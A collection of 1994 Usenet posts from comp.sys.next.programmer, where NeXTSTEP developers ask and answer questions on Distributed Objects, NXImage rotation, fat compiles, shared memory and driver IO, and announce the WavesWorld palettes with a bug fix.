Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Distributed Objects Gurus: can you answer these? Message-ID: <1994Jan18.151511.524@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp Date: Tue, 18 Jan 1994 15:15:11 GMT I'm working on some software which has three basic intertalking programs: the client, the FileNameServer, and the DataServer (of which there is one per database). Basically, the client asks the FileNameServer for the DataServer associated with a given database, then the FileNameServer either returns the correct DataServer if one exists, otherwise starts one up on the host where the database exists. (If you are wondering why we do this, just read about the holes in NFS). So the questions: 1. To spin off the new dataServer, I am building a string like: sprintf(command,"rsh %s %s %s %s &", fileHost,path,fileHost,realName); system(command); Is this hokey? Is there a better way? What permissions and file modifications (/.rhosts, sticky bits) must be made for this to work? 2. Guess what? This code works fine when the servers are started via commandline, but it fails heinously in GDB with messages like these, which we've seen before: sh: privileges disabled because of outstanding IPC access to task rcmd: socket: Permission denied Anyone have a workaround to this situation? Thanks! andrew -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!/:&QF<SM]"EQM87)G M;#$R,`I<;6%R9W(Q,C`*7'!A<F1<='@Q,34R7'1X,C,P-%QT>#,T-39<='@T M-C`X7'1X-3<V,%QT>#8Y,3)<='@X,#8T7'1X.3(Q-EQT>#$P,S8X7'1X,3$U M,C!<9C!<8C!<:3!<=6QN;VYE7&9S,C1<9F,P7&-F,"!))VT@=V]R:VEN9R!O M;B!S;VUE('-O9G1W87)E('=H:6-H(&AA<R!T:')E92!B87-I8R!I;G1E<G1A M;&MI;F<@<')O9W)A;7,Z('1H92!C;&EE;G0L('1H92!&:6QE3F%M95-E<G9E M<BP@86YD('1H92!$871A4V5R=F5R("AO9B!W:&EC:"!T:&5R92!I<R!O;F4@ M<&5R(&1A=&%B87-E*2Y<"EP*0F%S:6-A;&QY+"!T:&4@8VQI96YT(&%S:W,@ M=&AE($9I;&5.86UE4V5R=F5R(&9O<B!T:&4@1&%T85-E<G9E<B!A<W-O8VEA M=&5D('=I=&@@82!G:79E;B!D871A8F%S92P@=&AE;B!T:&4@1FEL94YA;653 M97)V97(@96ET:&5R(')E='5R;G,@=&AE(&-O<G)E8W0@1&%T85-E<G9E<B!I M9B!O;F4@97AI<W1S+"!O=&AE<G=I<V4@<W1A<G1S(&]N92!U<"!O;B!T:&4@ M:&]S="!W:&5R92!T:&4@9&%T86)A<V4@97AI<W1S+B`H268@>6]U(&%R92!W M;VYD97)I;F<@=VAY('=E(&1O('1H:7,L(&IU<W0@<F5A9"!A8F]U="!T:&4@ M:&]L97,@:6X@3D93*2Y<"EP*4V\@=&AE('%U97-T:6]N<SI<"EP*,2X@5&\@ M<W!I;B!O9F8@=&AE(&YE=R!D871A4V5R=F5R+"!)(&%M(&)U:6QD:6YG(&$@ M<W1R:6YG(&QI:V4Z7`I<"@D@("`@<W!R:6YT9BAC;VUM86YD+")R<V@@)7,@ M)7,@)7,@)7,@)B(L7`H)("`@(`D)("`@9FEL94AO<W0L<&%T:"QF:6QE2&]S M="QR96%L3F%M92D[7`H)("`@('-Y<W1E;2AC;VUM86YD*3M<"EP*27,@=&AI M<R!H;VME>3\@27,@=&AE<F4@82!B971T97(@=V%Y/R!7:&%T('!E<FUI<W-I M;VYS(&%N9"!F:6QE(&UO9&EF:6-A=&EO;G,@*"\N<FAO<W1S+"!S=&EC:WD@ M8FET<RD@;75S="!B92!M861E(&9O<B!T:&ES('1O('=O<FL_(%P*7`HR+B!' M=65S<R!W:&%T/R!4:&ES(&-O9&4@=V]R:W,@9FEN92!W:&5N('1H92!S97)V M97)S(&%R92!S=&%R=&5D('9I82!C;VUM86YD;&EN92P@8G5T(&ET(&9A:6QS M(&AE:6YO=7-L>2!I;B!'1$(@=VET:"!M97-S86=E<R!L:6ME('1H97-E+"!W M:&EC:"!W92=V92!S965N(&)E9F]R93I<"EP*<V@Z('!R:79I;&5G97,@9&ES M86)L960@8F5C875S92!O9B!O=71S=&%N9&EN9R!)4$,@86-C97-S('1O('1A M<VM<"G)C;60Z('-O8VME=#H@4&5R;6ES<VEO;B!D96YI961<"EP*06YY;VYE M(&AA=F4@82!W;W)K87)O=6YD('1O('1H:7,@<VET=6%T:6]N/UP*7`I4:&%N 0:W,A7`I<"F%N9')E=PI]"FYD ` -- ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone !! (505) 345-4800 !! !! andrew@stone.com <> Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>||
From: keith@starburst.umd.edu (Keith Norris) Newsgroups: comp.sys.next.programmer Subject: Question about shells Date: 19 Jan 1994 14:49:22 GMT Organization: Chesapeake Biological Laboratory Message-ID: <2hjh9i$7e4@gamera.umd.edu> -- ************************************************************************** * Keith L. Norris | keith@starburst.umd.edu * * Frostburg State University | c2mxnorr@fre.fsu.umd.edu * * * * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! * * ! DETERMINED TO LEARN - NO GIVING UP WHERE I'M FROM ! * * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! * * * **************************************************************************
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 19 Jan 1994 15:57:46 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2hjl9q$cid@darkstar.UCSC.EDU> References: <CJtH7t.A70@pdh.com> In article <CJtH7t.A70@pdh.com> jfr@aspen.pdh.com (Jon F. Rosen) writes: > Just a comment :-) The first semi-RTF language/environment/editor > I ever saw on a PC (and which I loved at first sight) was Release > 2.0 of Microsoft Basic for the Macintosh. It had autobolding of > keywords and you could use italics or underlines if you wanted (no > colors because there was no color Mac then). This was all in 1985. > Does this make Microsoft innovative? :-) I just saw a Microsoft Visual Basic editor the other day which worked similarly. But the way it worked wasn't to change the source code by adding all the RTF directives. Instead, the editor itself had all the smarts. It knows about language key words, syntax, and other language features so the source code doesn't have to be altered. This is what I'd like to see happen with Edit. But emacs is the user-extensible editor, so adding the smarts to emacs might be doable, although not trivial. -- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: Help: Rotating NXImage Date: 17 Jan 1994 16:39:26 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2heevu$ep7@rosie.next.com> References: <1994Jan14.090305.3381@csus.edu> In article <1994Jan14.090305.3381@csus.edu> Eric P. Scott writes: > In article <2h159s$qrq@access3.digex.net> Katana Pilot writes: > >Does anyone have an NXImage subclass which will rotate its image? > >(Or do you know how to do it easily?) I just need to rotate 90 degrees > >about the center of the image. > You may have an easier time dealing with NXImageRep subclasses, > e.g. subclass NXEPSImageRep, adding something like > - prepareGState ... Another way to do this would be to subclass NXImage and override drawRepresentation:inRect:. This method is the funnel through which all NXImage drawing takes place; basically it's equivalent to Eric's suggestion above, except it applies to all image rep classes. You'd do your coordinate transform in this method, then call super. You also need to do height/width swapping when creating the NXImage or do an appropriate setSize: when told to rotate (depending on how you want to handle rotations). There is an old MiniExample called Rotato which shows this. It should still be around somewhere. Ali, Ali_Ozer@NeXT.com
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: How to display a PS code in a view? Date: 17 Jan 1994 17:07:47 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2hegl3$equ@rosie.next.com> References: <1994Jan13.214623.13795@ringer.cs.utsa.edu> In article <1994Jan13.214623.13795@ringer.cs.utsa.edu> Greg Gerard writes: > I would like to generate PS code inside a program and then have it displayed > in a view. Something like YAP, but the input from the user is not PS > itself. ... > Looking through the YAP code, I decided it was written by an expert and > great pains were taken to optimize it. ... Hmm, I don't know about the expert part 8-), but "great pains were taken to optimize it" comment isn't exactly accurate. Yap simply takes the contents of the text object (typed in by the user) and executes it using a DPS client library function. Because this text object can potentially contain all sorts of junk, Yap tries hard to make sure any errors in the execution of the PostScript code do not break Yap itself. That's about it. One important fact is that Yap is not an example of how to generate PS code inside a program and have it displayed inside a view. It's an example of how to take random stuff and execute it somewhat safely as if it were PostScript. There are plenty of other examples of how to do what you want to do. One is to subclass View and override drawSelf::, from which you would call PostScript functions. Take a look at the various drawSelf:: methods in the examples directory (/NextDeveloper/Examples/AppKit/...). >Can it be done so that I generate PS code into a stream and then have this >(whatever method that does read PS) give me back an image that I can then >display or save? It's not clear this is what you want to do in your case --- if all you want to do is generate PS in your View and draw it in your window (or print), then implementing drawSelf:: is the way to do. However, if you are going beyond drawSelf:: and you actually do need to get PS into a stream for some other reason, then you can do this using the technique desribed by Sean Lamont in an earlier message (<2hcp90$e5j@news.u.washington.edu>). Ali, Ali_Ozer@NeXT.com
From: Mike_Paquette@next.com Newsgroups: comp.sys.next.programmer Subject: Re: Error: invalidaccess; OffendingCommand: currentframebuffertransfer Date: 17 Jan 1994 20:51:24 GMT Organization: NeXT, Inc. Distribution: usa Message-ID: <2hetod$f6a@rosie.next.com> References: <CJpuy3.IDy@sounds.wa.com> In article <CJpuy3.IDy@sounds.wa.com> BrianW@SoundS.WA.com (Brian Willoughby) writes: > I am using countframebuffers to determine the valid range to send as the > parameter to currentframebuffertransfer. My system has the NeXTdimension as > the primary display, and I am able to get the currentframebuffertransfer and > set it with setframebuffertransfer when fbnum is 0. However, I cannot access > the MegaPixel display. Perhaps I have something missing from NetInfo which > must be set in order to enable this, but the MegaPixel entry looks almost just > like the NeXTdimension entry. > > Why am I getting an "invalidaccess" ? invalidaccess is the error code returned by currentframebuffertransfer when the specified index (framebuffer selection number) is valid, but the framebuffer device does not support framebuffer transfer functions. The 2 bit MegaPixel framebuffer does not support framebuffer transfer functions, so you get the error. If you had specified an out of range frame buffer (the index argument to currentframebuffertransfer), you would get a range check error. Mike_Paquette@NeXT.COM ---- I don't speak for NeXT Computer, and NeXT Computer doesn't speak for me. Any factual information presented in this message is my responsibility, and doesn't represent anything official from NeXT Computer. In fact, it was probably produced by line noise.
From: silbar@cantina.lanl.gov (Dick Silbar) Newsgroups: comp.sys.next.programmer Subject: Re: Objectware License Agreements Date: 19 Jan 1994 11:03:02 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401191701.AA02187@cantina.lanl.gov> I applaud this approach. The following part IS a bit confusing, however: NONCOMMERCIAL LICENSE You may use the code free of charge for any purpose whatsoever, provided only that anything you produce with it is publicly announced and available free of charge to anyone that wants it. Does that mean we have to put all our dirty laundry code that uses your objects out in the archives with a big announcement? Dick Silbar WhistleSoft, Inc.
From: gbol@custard.think.com (Gregory Lampshire) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: pthreads on NS3.X or MACH, any PD implementations? will NeXT convert? Date: 19 Jan 94 13:28:35 Organization: Thinking Machines Corporation, Cambridge MA, USA Distribution: world Message-ID: <GBOL.94Jan19132835@custard.think.com> I am looking for a freely available pthread implementation running on Mach or that is known to run on NS3.X. I am not merely looking for a chtreads wrapper but would prefer that it run directly on MACH threads. I would appreciated any pointers on this info. Is NeXT planning to release a pthreads library? thanks, gregory
Newsgroups: comp.sys.next.programmer From: rog@ohm.york.ac.uk (Roger Peppe) Subject: Logging out under program control - HOW ? Message-ID: <1994Jan19.141344.5026@ohm.york.ac.uk> Keywords: workspace Organization: Electronics Department, University of York, UK Date: Wed, 19 Jan 94 14:13:44 GMT Normally, the only way of logging out is to double-click on the Workspace icon, and activate the 'log out' item in its main menu. Is it possible to get a program to do the same thing ? (from the command-line, for instance) I've found NXWorkspaceRequestProtocol, but it doesn't seem to contain anything that helps in this respect. thanks for any help, rog. roger peppe +44 904 432379 rog@ohm.york.ac.uk adaptive systems engineering university of york england
From: dario@voluptas (Dario Ringach) Newsgroups: comp.sys.next.programmer Subject: Can you send messages to objects from an interrupt handler? Date: 19 Jan 1994 19:21:04 GMT Organization: New York University Distribution: world Message-ID: <2hk170$bg2@cmcl2.NYU.EDU> I have an interrupt handler that is called every time a message arrives at a socket. I set up this by calling: DPSAddFD(sock, (DPSFDProc)io_handler, self, NX_BASETHRESHOLD+1); where sock is a socket and the io_handler is written as a C function outside the object implementation: void io_handler(int sock, id mainId) { ... body of handler .... } I would like to send a message to another object from the body of the io_handler. Can this be done? If I write a line like [anotherObject message]; in the body of io_handler() I get: 'anotherObject' undeclared (first use this function). Thank you very much in advance. -- Dario
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: Re: How to query nmserver? Message-ID: <1994Jan19.150914.18516@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <9401190239.AA01705@nika> Date: Wed, 19 Jan 1994 15:09:14 GMT > but I was really looking for a way to query the name server and see all > the registered ports by name. Is there a command, system call(s) or > something in the machkit (that I'm missing) that could be used to do > this? My understanding is that you cannot ask for names from the name server. I talked about it with Next's DO programmer and he said it was a security feature. Monty monty@its.com
From: mishelle@thoughtful.com (Mishelle Baun) Newsgroups: comp.sys.next.programmer Subject: HyperSense at NEXTSTEP East Coast Developer Conference Date: 19 Jan 1994 18:38:18 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401200008.AA00236@thoughtful.com> Dear Friends and Colleagues, Thoughtful Software cordially invites you to view HyperSense at the NEXTSTEP East Coast Developer Conference in Washington D.C., January 25 - 26 at the Sheraton Washington Hotel. We will be in the Annapolis and Rockville rooms, as part of the Association of NEXTSTEP Developers International (ANDI) Hospitality suite (from 10:30am-5:30pm on Tuesday and Wednesday -- see ANDI announcement forwarded below). If you will be attending the conference, or in the area, please stop by and say hello! I would love to have a chance to meet you personally, and show you what HyperSense can do and why we think it's a tool that every NEXTSTEP user can benefit from. Regards, Doug Simons Thoughtful Software doug@thoughtful.com About HyperSense in brief: HyperSense is powerful authoring software that makes sense! HyperSense easily lets anyone create multimedia databases, hypertext tutorials, personal applications and much more. A drag and drop interface makes document creation easy. Understandable SenseTalk scripts provide the power and versatility to master complex tasks, and allow you to import and modify HyperCard stacks. For more information on HyperSense, contact: info@thoughtful.com Begin forwarded message: ------------------- From: marketing@nextsrv1.andi.org (Marketing Director) Subject: Yes there are "exhibits" at the East Coast Developers Conference Keywords: ANDI,NeXT,ECDC,exhibits Reply-To: marketing@nextsrv1.andi.org (Marketing Director) Date: Sat, 8 Jan 1994 14:17:04 GMT ANDI - The Association of NeXTSTEP (and soon Openstep) Developers International, Inc. is pleased to announce that we have exhibits at the East Coast Developers Conference. A significant number of people have said they thought there were no exhibits at the event which is inaccurate. In the program they are listed as Hospitality... ..so join us and we be hospitable. We will be open: January 25 and 26 and are located in the Annapolis and Rockville rooms at the Sheraton Washington Hotel in Washington, DC. The hotel is conveniently located at the Woodley Park Metro stop (Metro is the light rail line) on the Red Line. In addition, we will be distributing the NEXTSTEP Resource Guide by ANDI. We hope to see you there! --- Bill Strehl Executive Director ANDI - Association of NeXTSTEP Developers International, Inc. reply to:marketing@nextsrv1.andi.org "Take the NeXTSTEP and Keep on Truckin'..." ----------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Can you send messages to objects from an interrupt handler? Message-ID: <1994Jan20.003557.8085@seer.demon.co.uk> Sender: paul@seer.demon.co.uk Organization: P & L Systems References: <2hk170$bg2@cmcl2.NYU.EDU> Date: Thu, 20 Jan 1994 00:35:57 GMT In article <2hk170$bg2@cmcl2.NYU.EDU> dario@voluptas (Dario Ringach) writes: > > I have an interrupt handler that is called every time a message > arrives at a socket. I set up this by calling: > > DPSAddFD(sock, (DPSFDProc)io_handler, self, NX_BASETHRESHOLD+1); > > where sock is a socket and the io_handler is written as a C function > outside the object implementation: > > void io_handler(int sock, id mainId) > { > ... body of handler .... > } > > I would like to send a message to another object from the body > of the io_handler. Can this be done? If I write a line like > > [anotherObject message]; > > in the body of io_handler() I get: > > 'anotherObject' undeclared (first use this function). Use something like: id obj = (id)mainId; [obj someMessage]; in your handler. You can also use it to refer to instance variables in the passed object. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
From: premise@schroedinger.engin.umich.edu (sean michael willson) Newsgroups: comp.sys.next.programmer Subject: NeXT Programming and SoftPc Date: 20 Jan 1994 02:43:39 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: world Message-ID: <2hkr4rINNob5@srvr1.engin.umich.edu> Originator: premise@schroedinger.engin.umich.edu I have a question concerning programming under NeXTSTEP. If I were to run SoftPc under NeXT and then run windows. Would I be able to transfer code back and forth between NeXT C++ and Windows C++. This is assuming I am not at first taking advantage of the GUI. Would I be able to compile the code under NeXT/SoftPC/DOS/Windows/<generic C++ compiler> and actually get the app to work on a straight DOS/Windows machine or would I have to save it under NeXT on a DOS disk and then reboot under DOS and recompile there. And if so....are there major bugs that would appear.....I assume that the generic DOS machine would have the appropriate libraries. Am I totally wrong in assuming that this would work? Please reply.........Thanks in advance.
From: thor@madrid.cs.wisc.edu (Michael Koehrsen) Newsgroups: comp.sys.next.programmer Subject: fat compiles Date: 20 Jan 1994 02:45:13 GMT Organization: Division of Information Technology Message-ID: <2hkr7p$mhc@news.doit.wisc.edu> What make options are needed to do a fat compile from the command line using the default makefiles? By fishing around in the makefiles and experimenting a little, I concluded that this will do it: % make RC_ARCHS="m68k i386" RC_CFLAGS="-arch m68k -arch i386" However, I'd like to get an independent assurance that I'm not missing some subtle thing that will come back to haunt me. Thanks for any help. -- Michael Koehrsen koehrsen@students.wisc.edu (NeXTMail applauded)
Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.hardware From: balu@jensen.cc.brandeis.edu (t.balasubramanian) Subject: Help: regarding drivers Message-ID: <1994Jan20.033732.13355@news.cs.brandeis.edu> Sender: news@news.cs.brandeis.edu (USENET News System) Organization: Brandeis University Date: Thu, 20 Jan 1994 03:37:32 GMT Hi, We want to do simple slow IO with a NeXTStep Intel machine, along the lines of "put this byte out to that IO port" and "read a byte from that IO port". We expected some simple functions similar to outb() and inb() from microsoft (DOS) c to exist, and, infact the "same" functions were found in "\NextDeveloper\Headers\driverkit\i386\ioPorts.h". They include the warning "Note: These functions work only at kernel level". Does this mean that we must write some complex device driver ?. If so does the generic version exist or any suggestions as to how to go about writing will be appreciated. We tested our board to which we want to write or read by booting the intel 486 to DOS and that works as we expected. But then we tried to do the same thing by booting the system to NeXTStep with the above mentioned ioPorts.h header file included and the application just quits when we try to write to the port. We would greatly appreciate any suggestions from anyone familiar with these as to what is it that we are missing here. If possible please reply to balu@jensen.cc.brandeis.edu. Thanks very much for your time Balu
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: new version of some WavesWorld palettes available Message-ID: <1994Jan20.041120.25810@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Thu, 20 Jan 1994 04:11:20 GMT Hi folks. I've just put the latest release, beta2, on media.mit.edu of some of my WavesWorld palettes. These have (some) documentation, a few more examples (even a 3DReality plug-in for eve code!), and much debugged code. I think I've gotten the couple of IB crashers people found in alpha and beta1. Please give it a spin and send me feedback. Here's the README file: --- README file ---- This directory (media.mit.edu:pub/WavesWorld) contains the distribution of the latest release (1.0Beta2) of some of the WavesWorld palettes. Note that if you don't have 3.2 you may have trouble installing these. Since I don't have any machines not running 3.2, I don't quite know how to test this... There are three different flavors of distribution: WW1.0B2Complete.tar (3,338,240 bytes) - A tar file of an Installer pkg which contains all the source code of the palettes, libraries, and examples. It also includes stripped MAB copies of the palettes and a little app. This allows you to jump right in and play with the examples without waiting the 20 minutes or so it takes to compile everything. WW1.0B2SrcOnly.tar (2,424,832 bytes) - A tar file of an Installer pkg which contains all the source code of the palettes, libraries, and examples WW1.0B2SrcOnlyMinusTcl.tar (1,777,664 bytes) - A tar file of an Installer pkg which contains all the source code of the palettes, libraries, and examples. It *does not* include the source for tcl7.3, as the above does. This is for people that want the latest version of the palettes, but already have a copy of tcl7.3 installed on their machine. *** here's the brief ASCII announcement *** Hi. I'm pleased to announce the third public release of some of the WavesWorld IB palettes. These are palettes of objects I originally developed for my PhD system, WavesWorld. Lots of people have asked about them, and since I wrote them this summer when I wasn't at the Media Lab, I decided to make them available as shareware. I wrote this code this summer, but given the hectic nature of last semester (PhD exams, etc.), I haven't gotten around to releasing this stuff until now. The wait has been in your favor, as I uncovered lots o little bugs this semester as I avoided studying for my exams by playing with this code. These palettes go reasonably far in addressing some problems I've always had with IB and the fact that I wanted to use IB more and the linker less. There are two palettes included in this release. The first, WWTCLWidgets, is my latest take on how to integrate tcl, the embeddable tool command language from Berkeley, into the NeXTSTEP development environment. For more info on tcl, look in ./tcl/doc in the source included in this package, read the newsgroup comp.lang.tcl, ftp to sprite.berkeley.edu and pick up the Postscript pre-print of the forthcoming tcl book from Addison-Wesley. There are probably many different ways to integrate tcl into NS; this is just one way. This palette really isn't intended to be all that useful by itself, although take a look at the Calculator example, which is a pretty cool example. I really designed it to be used with the other palette included here: WW3DPalette, which is my 3DKit. The WW3DPalette only has one visible object on it: the WWRIBWell. A WWRIBWell is a UI element that looks like a color well, except that it's got a doughnut in it (really a torus). As you might expect from it's name, you can drop a .rib into the WWRIBWell and see it. Also, like you might expect, you can click the edge of the WWRIBWell and get a control panel (like the NXColorPanel that pops up when you click the edge of a NXColorWell). The idea of the WWRIBWell is that you want to integrate 3D into your app, but you don't really want to learn the 3DKit. Eventually, perhaps, but for now, you just want to be able to integrate 3D into an app with a minimum of fuss. There's much, much more power available in the WW3DPalette than that, but that was the easy home run part. The WW3DPalette includes a full blown 3D modeling language called eve, which is based on tcl (with full RenderMan binding and a few other commands). I've included some neat examples of a robot and a room. To find out more, ftp to media.mit.edu:pub/WavesWorld and grab one of the above mentioned distributions there. I want to keep that as the distribution site for a week or so until I'm sure that there are not any glaring bugs I don't know about, and then I'll submit it to the normal archive sites as a 1.0 release. The doc is pretty minimal right now, but I do have a bunch of examples, and of course all the source code is there. I've already compiled both palettes MAB and included them in the top level distribution, so you should be able to start having fun ASAP. Let me know what you think. - Michael B. Johnson wave@media.mit.edu -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: lparkyn@corpit.cantel.rogers.com (Lyle Parkyn) Newsgroups: comp.sys.next.programmer Subject: Re: Objectware License Agreements Date: 19 Jan 1994 16:54:46 GMT Organization: Rogers Communications Distribution: NA Message-ID: <2hjokm$bu8@mail.Rogers.Com> References: <1994Jan14.231523.15056@CSD-NewsHost.Stanford.EDU> In article <1994Jan14.231523.15056@CSD-NewsHost.Stanford.EDU> hsr@cs.Stanford.EDU (Scott Roy) writes: :I'm about to release some Objectware to the net and would appreciate :feedback on the license I'm intending to include. The license is unique :in that it tries to make the code free for noncommercial usage, but :costing dollars for commercial use. Any and all comments are welcome. : At first reading it seems like a great idea. I especially agree with points 3,4,5., actually all 5 points are very good. I'd like to try out a number Objectware objects so I can discuss them with clients based on some real experience, rather than extrapolations based on marketing blurbs. It gets expensive to buy objects just for evaluation, especially when they don't get used. -- Lyle D. Parkyn (416)250-4810 lparkyn@corpit.cantel.rogers.com NeXT Mail welcome Opinions expressed are my own.
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: fat compiles Message-ID: <1994Jan20.085230.244@dart.de> Sender: aspohr@dart.de Organization: d'ART Computersysteme GmbH References: <2hkr7p$mhc@news.doit.wisc.edu> Date: Thu, 20 Jan 94 08:52:30 GMT In article <2hkr7p$mhc@news.doit.wisc.edu> thor@madrid.cs.wisc.edu (Michael Koehrsen) writes: > > What make options are needed to do a fat compile from the command line > using the default makefiles? By fishing around in the makefiles and > experimenting a little, I concluded that this will do it: > > % make RC_ARCHS="m68k i386" RC_CFLAGS="-arch m68k -arch i386" > > However, I'd like to get an independent assurance that I'm not missing > some subtle thing that will come back to haunt me. > > Thanks for any help. > > -- > Michael Koehrsen koehrsen@students.wisc.edu (NeXTMail applauded) > Exerpt from Man Pages for arch: The currently known architectures are: Name CPU Type CPU Subtype Description hppa CPU_TYPE_HPPA CPU_SUBTYPE_HPPA_ALL HP-PA i386 CPU_TYPE_I386 CPU_SUBTYPE_I386_ALL Intel 80x86 i860 CPU_TYPE_I860 CPU_SUBTYPE_I860_ALL Intel 860 m68k CPU_TYPE_MC680x0 CPU_SUBTYPE_MC680x0_ALL Motorola 68K m88k CPU_TYPE_MC88000 CPU_SUBTYPE_MC88000_ALL Motorola 88K m98k CPU_TYPE_MC98000 CPU_SUBTYPE_MC98000_ALL Power PC mips CPU_TYPE_MIPS CPU_SUBTYPE_MIPS_ALL MIPS sparc CPU_TYPE_SPARC CPU_SUBTYPE_SUN4_ALL SPARC vax CPU_TYPE_VAX CPU_SUBTYPE_VAX_ALL DEC VAX i486 CPU_TYPE_I386 CPU_SUBTYPE_486 Intel 486 i486SX CPU_TYPE_I386 CPU_SUBTYPE_486SX Intel 486SX i586 CPU_TYPE_I386 CPU_SUBTYPE_586 Intel 586 i586SX CPU_TYPE_I386 CPU_SUBTYPE_586SX Intel 586SX m68030 CPU_TYPE_MC680x0 CPU_SUBTYPE_MC68030_ONLY Motorola 68030 m68040 CPU_TYPE_MC680x0 CPU_SUBTYPE_MC68040 Motorola 68040 No Alpha.... (hm, vax?) Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@dART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: hill@iisnext2.unil.ch (Sean Hill) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Does HASKELL exist for NEXT? Date: 20 Jan 1994 10:14:25 GMT Organization: University of Lausanne CH (Switzerland) Message-ID: <2hlli1$lsj@cisun2000.unil.ch> Keywords: HASKELL, Lisp-like programming languages If anyone has any information about an implementation of the HASKELL programming language that is available either freely or commercially for NEXTSTEP, could they please forward any information to: cartier@iisnext1.unil.ch Thank you very much. Sean Hill
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Important! re: WavesWorld palettes Message-ID: <1994Jan20.095421.1429@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Thu, 20 Jan 1994 09:54:21 GMT If you were wicked speedy and picked up the beta2 distribution of my WavesWorld palettes, please read this: Aaarrgh!!! I made some last minute changes to a key file before I packaged things up, which of course munged everything... I'm rebuilding a distribution, but in the meantime, if you grab beta2 of the WavesWorld palettes, edit the file WWTCLInterp.m in the WWTCLWidgetsPalette, remove line 1083, and change the argument to loadNibFile: from "nibFilename" to "completeNibFilename". In other words: ************** if ([NXApp loadNibFile:completeNibFilename owner:self withNames:NO fromZone:[self zone]]) NX_DURING retID = [NXApp loadNibFile:nibFilename owner:self withNames:NO fromZone:[self zone]]; NX_HANDLER NXLogError("in WWTCLInterp, exception [%d] raised trying to load nib <%s>.\n", NXLocalHandler.code, nibFilename); NX_ENDHANDLER ************** It should read: ************** NX_DURING retID = [NXApp loadNibFile:completeNibFilename owner:self withNames:NO fromZone:[self zone]]; NX_HANDLER NXLogError("in WWTCLInterp, exception [%d] raised trying to load nib <%s>.\n", NXLocalHandler.code, nibFilename); NX_ENDHANDLER ************** The bug was two-fold: I forgot to delete the old if statement, and in my cut-and-paste haste, I forgot to use "completeNibFilename" instead of "nibFilename". The fixed distribution will be called beta3 (jeez, maybe I'll call it delta...) so there won't be any confusion. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: Frank Gunther Tropschuh <ft0g+@andrew.cmu.edu> Newsgroups: comp.sys.next.programmer Subject: shmctl and semctl on the NeXT Date: Thu, 20 Jan 1994 05:45:41 -0500 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <QhDa3JG00WB24wEUtS@andrew.cmu.edu> I'm attempting to port a bunch of programs from a sun (OS4) to a NeXT -- and I'm running into some difficulties with the communication. The programs set up buffers and other nifty structs in a shared memory segment set up with shmctl(2). Access is controlled through semaphores (semctl). How would I implement shared memory on a NeXT? I realize that if I would set everything up as a bunch of threads all running in the same task would solve my problem, but I have to be able to quit and restart the individual elements from the command line, hence, each program is another process. I also want to add that I do not want to redesign the entire package to use messages. Shared memory would be just OK. Thanks, fgt _____________________________________________________________________ Frank Gunther Tropschuh <ft0g+@andrew.cmu.edu> Carnegie Mellon University Pittsburgh, PA NeXTmail welcome!
